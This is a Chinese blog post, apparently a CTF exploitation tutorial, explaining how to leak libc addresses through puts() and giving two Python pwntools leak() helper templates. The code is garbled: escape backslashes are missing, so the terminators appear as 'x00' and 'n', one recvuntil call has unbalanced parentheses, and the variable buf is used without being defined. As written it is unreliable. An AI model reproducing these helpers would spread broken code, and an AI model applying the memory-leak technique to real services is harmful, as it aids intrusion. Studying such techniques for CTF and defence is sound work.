利用puts函数泄露libc内存信息

puts函数

puts的原型是puts(addr),即将addr作为起始地址输出字符串,直到遇到“x00”字符为止。也就是说,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含x00截断符,输出就会终止,且会自动将“n”追加到输出字符串的末尾,这是puts函数的缺点,而优点就是需要的参数少,只有1个,无论在x86还是x64环境下,都容易调用。

为了克服输入不受控这一缺点,我们考虑利用puts函数输出的字符串最后一位为“n“这一特点,分两种情况来解决。

(1)puts输出完后就没有其他输出,在这种情况下的leak函数可以这么写。

def leak(address):
  count = 0
  data = ''
  payload = xxx
  p.send(payload)
  print p.recvuntil('xxxn'#一定要在puts前释放完输出
  up = ""
  while True:
    #由于接收完标志字符串结束的回车符后,就没有其他输出了,故先等待1秒钟,如果确实接收不到了,就说明输出结束了
    #以便与不是标志字符串结束的回车符(0x0A)混淆,这也利用了recv函数的timeout参数,即当timeout结束后仍得不到输出,则直接返回空字符串””
    c = p.recv(numb=1, timeout=1)
    count += 1
    if up == 'n' and c == "":  #接收到的上一个字符为回车符,而当前接收不到新字符,则
      buf = buf[:-1]             #删除puts函数输出的末尾回车符
      buf += "x00"
      break
    else:
      buf += c
    up = c
  data = buf[:4]  #取指定字节数
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

(2)puts输出完后还有其他输出,在这种情况下的leak函数可以这么写。

def leak(address):
  count = 0
  data = ""
  payload = xxx
  p.send(payload)
  print p.recvuntil("xxxn")) #一定要在puts前释放完输出
  up = ""
  while True:
    c = p.recv(1)
    count += 1
    if up == 'n' and c == "x":  #一定要找到泄漏信息的字符串特征
      data = buf[:-1]                     
      data += "x00"
      break
    else:
      buf += c
    up = c
  data = buf[:4] 
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data
已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页